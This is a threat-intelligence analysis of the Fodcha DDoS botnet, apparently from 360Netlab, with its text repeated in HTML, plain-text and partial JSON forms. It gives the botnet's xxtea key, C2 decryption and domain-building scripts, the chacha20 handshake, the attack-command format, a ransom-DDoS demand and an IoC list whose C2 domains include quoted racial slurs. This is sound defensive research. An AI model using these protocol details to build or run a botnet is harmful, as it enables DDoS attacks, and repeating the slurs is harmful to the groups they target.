<p>The first round, 36 bytes , the original message is encrypted by xxtea and decrypted as the key of chacha20, with the length of 32bytes</p>
<pre><code class="language-python">import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
keyBuf=bytes.fromhex("806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d")
chaKey=xxtea.decrypt(keyBuf,key)
hexdump.hexdump(chaKey)
#chaKey
00000000: E6 7B 1A E3 A4 4B 13 7F 14 15 5E 99 31 F2 5E 3A
00000010: D7 7B AB 0A 4D 5F 00 EF 0C 01 9F 86 94 A4 9D 4B
</code></pre>
</li>
<li>
<p>Second round, 16 bytes , the original message is encrypted by xxtea, decrypted as the nonce of chacha20, length 12bytes</p>
<pre><code class="language-python">import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
nonBuf=bytes.fromhex("22c803bb310c5b2512e76a472418f9ee")
chaNonce=xxtea.decrypt(nonBuf,key)
hexdump.hexdump(chaNonce)
#chaNonce
00000000: 98 79 59 57 A8 BA 7E 13 59 9F 59 6F
</code></pre>
</li>
</ul>
<h4 id="stage2botc2chacha20encryption">Stage 2: Bot--->C2, chacha20 encryption</h4>
<p>Once Bot receives the key and nonce of chacha20, it sends the message <code>netstage=4</code> to C2, this time the message is encrypted using chacha20, the key&nonce is obtained from the previous stage, the number of rounds encrypted is 1.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageTwob2c.png" width="860px" />
<p>We can decrypt the above traffic using the following python code that</p>
<pre><code>from Crypto.Cipher import ChaCha20
cha=ChaCha20.new(key=chaKey,nonce=chaNonce)
cha.seek(64)
tmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')
rnd3=cha.decrypt(tmp)
</code></pre>
<p>The decrypted traffic is shown below, it still has the format of head (7 bytes) + body as described before, where the value of the netstage field of head is 04, which represents the authentication.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainb2c.png" width="860px" />
<h4 id="stage2c2botchacha20encryption">Stage 2: C2 ---> Bot, chacha20 encryption</h4>
<p>After receiving the authentication message from Bot, C2 also sends a message with <code>netstage=4</code> to Bot's data, also using chacha20 encryption, and the key,nonce,round number is the same as that used by Bot.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageTwoc2b.png" width="860px" />
<p>Using the same code as Bot to decrypt the traffic, we can see that its format is also head+body, and the value of netstage is also 04.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainc2b.png" width="860px" />
<p>After Bot and C2 send each other the message <code>netstage=4</code>, the chacha20 key&nonce representing stage 1 is recognized by both parties, and the authentication of each other is completed, and Bot enters the next stage to prepare to go online.</p>
<h4 id="stage3botc22roundschachaencryption">Stage 3: Bot--->C2, 2 rounds, chacha encryption</h4>
<p>Bot sends netstage=5 message to C2 to indicate that it is ready to go online, and then reports its own grouping information to C2, these 2 rounds of messages also use chacha20 encryption.</p>
<ul>
<li>
<p>First round<br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageThrReg.png" width="860px" /></p>
</li>
<li>
<p>Second round</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageThrGroup.png" width="860px" />
</li>
</ul>
<p>After the above two rounds of data decryption, we can see that the content of the group is exactly the preset <code>fsdsaD</code>, which means our analysis is correct, so the Bot is successfully online and starts to wait for the execution of the command sent by C2.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainb2cReg.png" width="860px" />
<h3 id="0x4executecommand">0x4: Execute command</h3>
<p>Bot successfully online, support the netstage number, as shown in the figure below, the most important is the <code>netstage = 1</code> on behalf of the DDoS task, Fodcha reuse a large number of Mirai attack code, a total of <code>17</code> kinds of attack methods are supported.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_afterreg.png" width="860px" />
<p>Take the following <code>DDos_Task</code> traffic <code>(netstage=01)</code> as an example.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_taskddos.png" width="860px" />
<p>The attack instructions are still encrypted using <code>chacha20</code>, and the decrypted instructions are shown below, which might ring a bell for readers who are familiar with <code>Mirai</code>.</p>
<pre><code>00000000: 00 00 00 3C 07 01 xx 14 93 01 20 02 00 00 02 01
00000010: BB 01 00 02 00 01
</code></pre>
<p>The format and parsing of the above attack instructions are shown in the following table.</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>len (bytes)</th>
<th>value</th>
<th>meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>4</td>
<td>00 00 00 3c</td>
<td>Duration</td>
</tr>
<tr>
<td>0x04</td>
<td>1</td>
<td>07</td>
<td>Attack Vector,07</td>
</tr>
<tr>
<td>0x05</td>
<td>1</td>
<td>1</td>
<td>Attack Target Cnt</td>
</tr>
<tr>
<td>0x06</td>
<td>4</td>
<td>xx 14 93 01</td>
<td>Attack Target,xx.20.147.1</td>
</tr>
<tr>
<td>0x0a</td>
<td>1</td>
<td>20</td>
<td>Netmask</td>
</tr>
<tr>
<td>0x0b</td>
<td>1</td>
<td>02</td>
<td>Option Cnt</td>
</tr>
<tr>
<td>0x0c</td>
<td>5</td>
<td>00 00 02 01 bb</td>
<td>OptionId 0,len 2, value 0x01bb ---> (port 443)</td>
</tr>
<tr>
<td>0x11</td>
<td>5</td>
<td>01 00 02 00 01</td>
<td>OptionId 1, len 2, value 0x0001---> (payload len 1 byte)</td>
</tr>
</tbody>
</table>
<p>When Bot receives the above instruction, it will use the tcp message with a payload of 1 byte to conduct a DDoS attack on the target <code>xx.20.147.1:443</code>, which corresponds to the actual packet capture traffic.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png" class="kg-image"/></a></p>
<h1 id="misc">Misc</h1>
<h3 id="0x01racism">0x01: Racism</h3>
<p>From some of the OpenNIC C2 constructs, it seems that the author of Fodcha is more hostile to people from some regions.</p>
<pre><code>yellowchinks.geek
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
bladderfull.indy
wehateyellow
</code></pre>
<h3 id="0x02ransomddos">0x02: Ransom DDoS</h3>
<p>Fodcha had the following string attached to the UDP attack command it issued.</p>
<pre><code>send 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business
</code></pre>
<p>The corresponding attack traffic is shown below, the wallet address appears to be illegal, perhaps the operators behind Fodcha are experimenting with the attack-as-ransom business model, we will see how it evolve.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png" class="kg-image"/></a></p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> or email us to netlab[at]360.cn.</p>
<h1 id="ioc">IoC</h1>
<h3 id="c2">C2</h3>
<pre><code>v1,v2:
folded[.]in
fridgexperts[.]cc
ICANN C2:
forwardchinks[.]com
doodleching[.]com
cookiemonsterboob[.]com
milfsfors3x[.]com
OpenNIC C2:
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
tsengtsing.libre
techsupporthelpars.oss
respectkkk.geek
pepperfan.geek
peepeepoo.libre
obamalover.pirate
funnyyellowpeople.libre
chinksdogeaters.dyn
chinkchink.libre
bladderfull.indy
blackpeeps.dyn
91.206.93.243
91.149.232.129
91.149.232.128
91.149.222.133
91.149.222.132
67.207.84.82
54.37.243.73
51.89.239.122
51.89.238.199
51.89.176.228
51.89.171.33
51.161.98.214
46.17.47.212
46.17.41.79
45.88.221.143
45.61.139.116
45.41.240.145
45.147.200.168
45.140.169.122
45.135.135.33
3.70.127.241
3.65.206.229
3.122.255.225
3.121.234.237
3.0.58.143
23.183.83.171
207.154.206.0
207.154.199.110
195.211.96.142
195.133.53.157
195.133.53.148
194.87.197.3
194.53.108.94
194.53.108.159
194.195.117.167
194.156.224.102
194.147.87.242
194.147.86.22
193.233.253.93
193.233.253.220
193.203.12.157
193.203.12.156
193.203.12.155
193.203.12.154
193.203.12.151
193.203.12.123
193.124.24.42
192.46.225.170
185.45.192.96
185.45.192.227
185.45.192.212
185.45.192.124
185.45.192.103
185.198.57.95
185.198.57.105
185.183.98.205
185.183.96.7
185.143.221.129
185.143.220.75
185.141.27.238
185.141.27.234
185.117.75.45
185.117.75.34
185.117.75.119
185.117.73.52
185.117.73.147
185.117.73.115
185.117.73.109
18.185.188.32
18.136.209.2
178.62.204.81
176.97.210.176
172.105.59.204
172.105.55.131
172.104.108.53
170.187.187.99
167.114.124.77
165.227.19.36
159.65.158.148
159.223.39.133
157.230.15.82
15.204.18.232
15.204.18.203
15.204.128.25
149.56.42.246
139.99.166.217
139.99.153.49
139.99.142.215
139.162.69.4
138.68.10.149
137.74.65.164
13.229.98.186
107.181.160.173
107.181.160.172
</code></pre>
<h3 id="reporter">Reporter</h3>
<pre><code>kvsolutions[.]ru
icarlyfanss[.]com
</code></pre>
<h3 id="samples">Samples</h3>
<pre><code>ea7945724837f019507fd613ba3e1da9
899047ddf6f62f07150837aef0c1ebfb
0f781868d4b9203569357b2dbc46ef10
</code></pre>
<!--kg-card-end: markdown--> | Background
On April 13, 2022, 360Netlab first disclosed the Fodcha botnet. After our article was published, Fodcha suffered a crackdown from the relevant authorities, and its authors quickly responded by leaving "Netlab pls leave me alone I surrender" in an updated sample.No surprise, Fodcha's authors didn't really stop updating after the fraudulent surrender, and soon a new version was released.
In the new version, the authors of Fodcha redesigned the communication protocol and started to use xxtea and chacha20 algorithms to encrypt sensitive resources and network communications to avoid detection at the file & traffic level; at the same time, a dual-C2 scheme with OpenNIC domain as the primary C2 and ICANN domain as the backup C2 was adopted.
Relying on the strong N-day vulnerability integration capabilities, the comeback of Focha is just as strong as the previous ones. In our data view, in terms of scale, Fodcha has once again developed into a massive botnet with more than 60K daily active bots and 40+ C2 IPs, we also observed it can easily launch more than 1Tbps DDos traffic; in terms of attacks, Fodcha has an average of 100+ daily attack targets and more than 20,000 cumulative attacks, on October 11, Fodcha hit its record and attacked 1,396 unique targets in that single day.
While Fodcha was busy attacking various targets, it has not forgot to mess with us, we saw it using N3t1@bG@Y in one of it scan payload.
Timeline
Backed by our BotMon systems, we have kept good track of Fodcha's sample evolution and DDoS attack instructions, and below are the sample evolution and some important DDoS attack events we have seen. (Note: The Fodcha sample itself does not have a specific flag to indicate its version, this is the version number we use internally for tracking purposes)
*
On January 12, 2022, the first Fodcha botnet sample was captured.
*
April 13, 2022, Disclosure of the Fodcha botnet, containing versions V1, V2.
*
April 19, 2022, captured version V2.x, using OpenNIC's TLDs style C2
*
April 24, 2022, version V3, using xxtea algorithm to encrypt configuration information, adding ICANN's TLDs style C2, adding anti-sandbox & anti-debugging mechanism.
*
June 5, 2022, version V4, using structured configuration information, anti-sandboxing & anti-debugging mechanism were removed.
*
July 7, 2022, version V4.x with an additional set of ICANN C2.
*
On September 21, 2022, a well-known cloud service provider was attacked with traffic exceeding 1Tbps.
Botnet Size
In April, we confirmed that the number of Fodcha's global daily live bots was about 60,000 (refer to our other article). We don’t have accurate number of the current size, but suspect that the number of current active bots has not dropped, maybe more than 60,000 now.
There is a positive relationship between the size of a botnet and the number of C2 IPs, and the most parsimonious view is that "the larger the botnet, the more C2 infrastructure it requires. In April, there were 10 c2s to control the 60,000 bots; After that, we observed that the IPs corresponding to its C2 domains continued to increase. Using a simple dig command to query the latest C2 domain name yellowchinks.dyn, we can see it resolves to 44 IPs.
One likely reason for this is that their botnet is so large that they need to invest more IP resources in order to have a reasonable ratio between Bots and C2s to achieve load balancing.
DDoS Statistics
More C2 IPs cost more money, and it seems that the business is good as it has been very active launching ddos attacks.We have excerpted the data from June 29, 2022 to the present, and the attack trends and target area distribution are as follows.
We can see that the ddos attacks has been non-stop, and China and US have the most targets.
The time distribution of the attack instructions within 7 days is shown below, which shows that Fodcha launched DDoS attacks throughout 7 * 24 hours, without any obvious working time zone.
Sample Analysis
We have divided the captured samples into four major versions, of which V1and V2 have been analyzed in the previous blog, here we select the latest V4 series samples as the main object of analysis, their basic information is shown below.
MD5: ea7945724837f019507fd613ba3e1da9
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
LIB: uclibc
PACKER: None
version: V4
MD5: 899047ddf6f62f07150837aef0c1ebfb
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Lib: uclibc
Packer: None
Version: V4.X
When Fodcha's Bot executes, it will first check the operating parameters, network connectivity, whether the "LD_PRELOAD" environment variable is set, and whether it is debugged. These checks can be seen as a simple countermeasure to the typical emulator & sandbox.
When the requirements are met, it first decrypts the configuration information and print “snow slide” on the Console, then there are some common host behaviors, such as single instance, process name masquerading, manipulating watchdog, terminating specific port processes, reporting specific process information, etc. The following will focus on the decryption of configuration information, network communication, DDoS attacks and other aspects of Fodcha.
Decrypting configuration information (Config)
Fodcha uses a side-by-side Config organization in V2.X and V3, and a structured Config organization in V4 and V4.X. The following figure clearly shows the difference.
Although the organization of Config is different, their encryption methods are the same. As we can see by the constants referenced in the code snippet below, they use the xxtea algorithm with the key PJbiNbbeasddDfsc.
After inversion, we wrote the following IDAPYTHON script to decrypt the configuration information.
# md5: ea7945724837f019507fd613ba3e1da9
# requirement: pip install xxtea-py
# test: ida7.6_python3
import ida_bytes
import xxtea
BufBase=0x1F2B0
ConfBase=0x0001F1A0
key=b"PJbiNbbeasddDfsc"
for i in range(17):
offset=ida_bytes.get_word(i*16+ConfBase+2)
leng=ida_bytes.get_word(i*16+ConfBase+4)-offset
buf=ida_bytes.get_bytes(BufBase+offset,leng)
print("index:%d, %s" %(i,xxtea.decrypt(buf,key)))
The decrypted Config information is shown in the following table. You can see that index 11 still retains the aforementioned "surrender" egg, index 12 is worth mentioning, as it is the reporter server address to which Fodcha reports some process-specific information.
Index
Value
0
snow slide
1
/proc/
2
/stat
3
/proc/self/exe
4
/cmdline
5
/maps
6
/exe
7
/lib
8
/usr/lib
9
.ri
10
GET /geoip/?res=10&r HTTP/1.1\r\nHost: 1.1.1.1\r\nConnection: Close\r\n\r\n
11
Netlab pls leave me alone I surrender
12
kvsolutions.ru
13
api.opennicproject.org
14
watchdog
15
/dev/
16
TSource Engine Query
Network communication
Fodcha's network communication has a very fixed feature at the code level: a perpetual While loop, with switch-case processing at each stage, so that the CFG graphs generated by each version of Fodcha's network protocol processing functions are highly similar in IDA.
In summary, Fodcha's network communication goes through the following four steps.
1. Decryption C2
2. DNS query
3. Establishing communication
4. Execute the command
0x1: Decrypting C2
Different versions of Fodcha support different types of C2. V2.X has only 1 group of OpenNIC C2; V3 & V4 have 1 group of OpenNIC C2 and 1 group of ICANN C2; and V4.X has the most, 1 group of OpenNIC C2 and 2 groups of ICANN C2, the following diagram shows the difference very clearly.
Although the types & numbers of C2 are different, their processing logic is almost the same as shown in the figure below.
Firstly, a C2 domain name is obtained through the C2_GET function, and then the corresponding IP of C2 is obtained through the DNS_QUERY function, where the first parameter of C2_GET is the C2 ciphertext data, and the second parameter is the length, while the second parameter of DNS_QUERY implies the type of C2.
A valid C2 domain name can be obtained through C2_GET, and its internal implementation can be divided into 2 steps.
* First, the C2 ciphertext data must be decrypted.
* Then they are constructed into a legitimate domain name.
Decrypting C2 ciphertext data
The C2 ciphertext data uses the same encryption method as the configuration information, i.e. xxtea, and the key is also
PJbiNbbeasddDfsc. The OpenNic C2 data can be decrypted by the following simple IDAPYTHON script.
#md5: 899047DDF6F62F07150837AEF0C1EBFB
import xxtea
import ida_bytes
import hexdump
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
print(plaintext)
The decrypted C2 data is shown below, you can see that the C2 data consists of 2 parts, the front is the domain names, the back is the TLDs, they are separated by the "/" symbol in the red box.
Constructing a domain name
Fodcha has a specific domain name construction method, and the equivalent Python implementation is shown below.
# md5: 899047ddf6f62f07150837aef0c1ebfb
# requirement: pip install xxtea-py
# test: ida7.6_python3
import xxtea
import ida_bytes
def getcnt(length):
cnt=1
while True:
cnt +=1
calc=2
for i in range(1,cnt):
calc+=2+12*i%cnt
if calc +cnt==length-1:
return cnt
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
domains,tlds=plaintext.split(b'/')
domainList=domains.split(b',')
tldList=tlds.split(b',')
cnt=getcnt(len(domainList))
print("------------There're %d C2------------" %cnt)
coff=2
for i in range(0,cnt):
if i ==0:
c2Prefix=domainList[i+coff]
else:
coff+=12*i %cnt+2
c2Prefix=domainList[i+coff]
c2Tld=tldList[(cnt-i-1)*3]
print(c2Prefix + b'.' + c2Tld)
Taking the C2 data obtained above as input, the following 14 OpenNIC C2s are finally constructed.
techsupporthelpars.oss
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
pepperfan.geek
chinkchink.libre
peepeepoo.libre
respectkkk.geek
bladderfull.indy
tsengtsing.libre
obamalover.pirate
Readers familiar with the ICANN domain name system may think at first glance that our decryption is wrong, because the ICANN domain name system does not support these TLDs, they would be "unresolvable", but in fact they are the domain names under the OpenNIC system, OpenNIC is independent of the OpenNIC, which supports the TLDs shown in the figure below. The domain names of OpenNIC cannot be resolved by common DNS (such as 8.8.8.8, 101.198.198.198) and must use the specified NameServer. Readers can check out OpenNIC’s official website for more details.
Using the same method, we can get the following 4 ICANN C2s.
cookiemonsterboob[.]com
forwardchinks[.]com
doodleching[.]com
milfsfors3x[.]com
0X2: DNS lookup
When the C2 domain name is successfully obtained, Bot performs the domain name resolution through the function DNS_QUERY, its 2nd parameter is a FLAG, which implies the different processing of OpenNIC/ICANN C2, and the corresponding code snippet is shown below.
It can be seen that there are 2 options for the resolution of OpenNIC C2.
* Option 1: Request from api.opennicproject.org through API interface to get nameserver dynamically
* Option 2: Use the hard-coded nameserver shown in the figure below
For ICANN C2, there is only one option, i.e., use the hard-coded nameserver shown in the figure below.
The actual resolution of C2 techsupporthelpars.oss, for example, is reflected in the network traffic as follows.
Why use OpenNIC / ICANN dual C2?
Fodcha's author has built a redundant OpenNIC / ICANN dual-C2 architecture, why did he do so?
From a C2 infrastructure perspective, after Fodcha was exposed, its C2 was added to various security lists. Quad9DNS (9.9.9.9), for example, had sent a tweet about Fodcha domain traffic spike
After Fodcha was cracked down, its author, when reselecting the C2 infrastructure, looked at the DNS Neutrality feature touted by OpenNIC to eliminate the possibility of C2 being regulated & taken over.
At the same time, OpenNIC based C2 has it own problems, such as the NameServer of OpenNIC may not be accessible in some regions, or there are efficiency or stability problems in domain name resolution. For the sake of robustness, Fodcha authors re-added ICANN C2 as the backup C2 after V3 to form a redundant structure with the main C2.
0x3: Establishing communication
Fodcha Bot establishes a connection to C2 through the following code snippet, which has a total of 22 ports.
Once the connection with C2 is successfully established, the Bot and C2 must go through 3 phases of interaction before communication is actually established.
*
Stage 1: Bot requests the key&nonce of the chacha20 encryption algorithm from C2.
*
Stage 2: Bot and C2 use the key&nonce from stage 1 for identity confirmation.
*
Stage 3: Bot sends the encrypted upline & group information to C2.
To aid in the analysis, we ran the Bot sample within a restricted environment and used fsdsaD as the packet string to generate the network traffic shown in the figure below, and the details of how this traffic was generated are described below.
Stage 1: Bot ---> C2 ,formatted as head(7 bytes) + body( random 20-40 bytes)
Bot actively sends an initialization message with netstage=6 to C2, this message has the format of head+body, and the meaning of each field is shown below.
head
The length of head is 7 bytes, and the format is shown below.
06 ---->netstage,1byte,06 means init
f0 70 ---->tcpip checksum, 2byte,
00 16 ---->length of body, 2 bytes
checksum
checksum
The checksum in head uses the tcp/ip checksum, which is calculated for the whole payload, and the original value of the checksum offset is \x00\x00, and the python implementation of the checksum is as follows.
def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[-1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
buf="\x06\x00\x00\x00\x00\x00\x16\x36\x93\x93\xb7\x27\x5c\x9a\x2a\x16\x09\xd8\x13\x32\x01\xd2\x69\x1d\x25\xf3\x42\x00\x32"
print(hex(checksum(buf)))
#hex(checksum(buf))
#0x70f0
body
body is a randomly generated content, meaningless.
00000000 36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69
00000010 1d 25 f3 42 00 32
Stage 1: C2-->Bot, 2 rounds
When C2 receives the message netstage=6 from Bot, it will send 2 rounds of data to BOT.
*
The first round, 36 bytes , the original message is encrypted by xxtea and decrypted as the key of chacha20, with the length of 32bytes
import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
keyBuf=bytes.fromhex("806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d")
chaKey=xxtea.decrypt(keyBuf,key)
hexdump.hexdump(chaKey)
#chaKey
00000000: E6 7B 1A E3 A4 4B 13 7F 14 15 5E 99 31 F2 5E 3A
00000010: D7 7B AB 0A 4D 5F 00 EF 0C 01 9F 86 94 A4 9D 4B
*
Second round, 16 bytes , the original message is encrypted by xxtea, decrypted as the nonce of chacha20, length 12bytes
import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
nonBuf=bytes.fromhex("22c803bb310c5b2512e76a472418f9ee")
chaNonce=xxtea.decrypt(nonBuf,key)
hexdump.hexdump(chaNonce)
#chaNonce
00000000: 98 79 59 57 A8 BA 7E 13 59 9F 59 6F
Stage 2: Bot--->C2, chacha20 encryption
Once Bot receives the key and nonce of chacha20, it sends the message netstage=4 to C2, this time the message is encrypted using chacha20, the key&nonce is obtained from the previous stage, the number of rounds encrypted is 1.
We can decrypt the above traffic using the following python code that
from Crypto.Cipher import ChaCha20
cha=ChaCha20.new(key=chaKey,nonce=chaNonce)
cha.seek(64)
tmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')
rnd3=cha.decrypt(tmp)
The decrypted traffic is shown below, it still has the format of head (7 bytes) + body as described before, where the value of the netstage field of head is 04, which represents the authentication.
Stage 2: C2 ---> Bot, chacha20 encryption
After receiving the authentication message from Bot, C2 also sends a message with netstage=4 to Bot's data, also using chacha20 encryption, and the key,nonce,round number is the same as that used by Bot.
Using the same code as Bot to decrypt the traffic, we can see that its format is also head+body, and the value of netstage is also 04.
After Bot and C2 send each other the message netstage=4, the chacha20 key&nonce representing stage 1 is recognized by both parties, and the authentication of each other is completed, and Bot enters the next stage to prepare to go online.
Stage 3: Bot--->C2, 2 rounds, chacha encryption
Bot sends netstage=5 message to C2 to indicate that it is ready to go online, and then reports its own grouping information to C2, these 2 rounds of messages also use chacha20 encryption.
*
First round
*
Second round
After the above two rounds of data decryption, we can see that the content of the group is exactly the preset fsdsaD, which means our analysis is correct, so the Bot is successfully online and starts to wait for the execution of the command sent by C2.
0x4: Execute command
Bot successfully online, support the netstage number, as shown in the figure below, the most important is the netstage = 1 on behalf of the DDoS task, Fodcha reuse a large number of Mirai attack code, a total of 17 kinds of attack methods are supported.
Take the following DDos_Task traffic (netstage=01) as an example.
The attack instructions are still encrypted using chacha20, and the decrypted instructions are shown below, which might ring a bell for readers who are familiar with Mirai.
00000000: 00 00 00 3C 07 01 xx 14 93 01 20 02 00 00 02 01
00000010: BB 01 00 02 00 01
The format and parsing of the above attack instructions are shown in the following table.
offset
len (bytes)
value
meaning
0x00
4
00 00 00 3c
Duration
0x04
1
07
Attack Vector,07
0x05
1
1
Attack Target Cnt
0x06
4
xx 14 93 01
Attack Target,xx.20.147.1
0x0a
1
20
Netmask
0x0b
1
02
Option Cnt
0x0c
5
00 00 02 01 bb
OptionId 0,len 2, value 0x01bb ---> (port 443)
0x11
5
01 00 02 00 01
OptionId 1, len 2, value 0x0001---> (payload len 1 byte)
When Bot receives the above instruction, it will use the tcp message with a payload of 1 byte to conduct a DDoS attack on the target xx.20.147.1:443, which corresponds to the actual packet capture traffic.
Misc
0x01: Racism
From some of the OpenNIC C2 constructs, it seems that the author of Fodcha is more hostile to people from some regions.
yellowchinks.geek
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
bladderfull.indy
wehateyellow
0x02: Ransom DDoS
Fodcha had the following string attached to the UDP attack command it issued.
send 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business
The corresponding attack traffic is shown below, the wallet address appears to be illegal, perhaps the operators behind Fodcha are experimenting with the attack-as-ransom business model, we will see how it evolve.
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.
IoC
C2
v1,v2:
folded[.]in
fridgexperts[.]cc
ICANN C2:
forwardchinks[.]com
doodleching[.]com
cookiemonsterboob[.]com
milfsfors3x[.]com
OpenNIC C2:
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
tsengtsing.libre
techsupporthelpars.oss
respectkkk.geek
pepperfan.geek
peepeepoo.libre
obamalover.pirate
funnyyellowpeople.libre
chinksdogeaters.dyn
chinkchink.libre
bladderfull.indy
blackpeeps.dyn
91.206.93.243
91.149.232.129
91.149.232.128
91.149.222.133
91.149.222.132
67.207.84.82
54.37.243.73
51.89.239.122
51.89.238.199
51.89.176.228
51.89.171.33
51.161.98.214
46.17.47.212
46.17.41.79
45.88.221.143
45.61.139.116
45.41.240.145
45.147.200.168
45.140.169.122
45.135.135.33
3.70.127.241
3.65.206.229
3.122.255.225
3.121.234.237
3.0.58.143
23.183.83.171
207.154.206.0
207.154.199.110
195.211.96.142
195.133.53.157
195.133.53.148
194.87.197.3
194.53.108.94
194.53.108.159
194.195.117.167
194.156.224.102
194.147.87.242
194.147.86.22
193.233.253.93
193.233.253.220
193.203.12.157
193.203.12.156
193.203.12.155
193.203.12.154
193.203.12.151
193.203.12.123
193.124.24.42
192.46.225.170
185.45.192.96
185.45.192.227
185.45.192.212
185.45.192.124
185.45.192.103
185.198.57.95
185.198.57.105
185.183.98.205
185.183.96.7
185.143.221.129
185.143.220.75
185.141.27.238
185.141.27.234
185.117.75.45
185.117.75.34
185.117.75.119
185.117.73.52
185.117.73.147
185.117.73.115
185.117.73.109
18.185.188.32
18.136.209.2
178.62.204.81
176.97.210.176
172.105.59.204
172.105.55.131
172.104.108.53
170.187.187.99
167.114.124.77
165.227.19.36
159.65.158.148
159.223.39.133
157.230.15.82
15.204.18.232
15.204.18.203
15.204.128.25
149.56.42.246
139.99.166.217
139.99.153.49
139.99.142.215
139.162.69.4
138.68.10.149
137.74.65.164
13.229.98.186
107.181.160.173
107.181.160.172
Reporter
kvsolutions[.]ru
icarlyfanss[.]com
Samples
ea7945724837f019507fd613ba3e1da9
899047ddf6f62f07150837aef0c1ebfb
0f781868d4b9203569357b2dbc46ef10
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Background\n\nOn April 13, 2022, 360Netlab first disclosed the `Fodcha` botnet. After our article was published, Fodcha suffered a crackdown from the relevant authorities, and its authors quickly responded by leaving `\"Netlab pls leave me alone I surrender\"` in an updated sample.No surprise, Fodcha's authors didn't really stop updating after the fraudulent surrender, and soon a new version was released.\n\nIn the new version, the authors of Fodcha redesigned the communication protocol and started to use `xxtea` and `chacha20` algorithms to encrypt sensitive resources and network communications to avoid detection at the file & traffic level; at the same time, a dual-C2 scheme with `OpenNIC domain` as the primary C2 and `ICANN domain` as the backup C2 was adopted.\n\nRelying on the strong N-day vulnerability integration capabilities, the comeback of Focha is just as strong as the previous ones. In our data view, in terms of scale, Fodcha has once again developed into a massive botnet with more than `60K` daily active bots and `40+ C2 IPs`, we also observed it can easily launch more than 1Tbps DDos traffic; in terms of attacks, Fodcha has an average of `100+` daily attack targets and more than `20,000` cumulative attacks, on October 11, Fodcha hit its record and attacked `1,396` unique targets in that single day.\n\nWhile Fodcha was busy attacking various targets, it has not forgot to mess with us, we saw it using `N3t1@bG@Y` in one of it scan payload.\n\n# Timeline\n\nBacked by our `BotMon` systems, we have kept good track of Fodcha's sample evolution and DDoS attack instructions, and below are the sample evolution and some important DDoS attack events we have seen. (Note: The Fodcha sample itself does not have a specific flag to indicate its version, this is the version number we use internally for tracking purposes)\n\n* On January 12, 2022, the first Fodcha botnet sample was captured.\n\n* April 13, 2022, Disclosure of the [Fodcha](__GHOST_URL__/fodcha-a-new-ddos-botnet/) botnet, containing versions V1, V2.\n\n* April 19, 2022, captured version V2.x, using `OpenNIC's TLDs` style C2\n\n* April 24, 2022, version V3, using xxtea algorithm to encrypt configuration information, adding `ICANN's TLDs` style C2, adding `anti-sandbox` & `anti-debugging` mechanism.\n\n* June 5, 2022, version V4, using structured configuration information, `anti-sandboxing` & `anti-debugging` mechanism were removed.\n\n* July 7, 2022, version V4.x with an additional set of `ICANN C2`.\n\n* On September 21, 2022, a well-known cloud service provider was attacked with traffic exceeding `1Tbps`.\n \n\n# Botnet Size\n\nIn April, we confirmed that the number of Fodcha's global daily live bots was about `60,000` [(refer to our other article)](__GHOST_URL__/fodcha-a-new-ddos-botnet/). We don’t have accurate number of the current size, but suspect that the number of current active bots has not dropped, maybe more than `60,000` now.\n\nThere is a positive relationship between the size of a botnet and the number of C2 IPs, and the most parsimonious view is that \"the larger the botnet, the more C2 infrastructure it requires. In April, there were `10 c2s` to control the 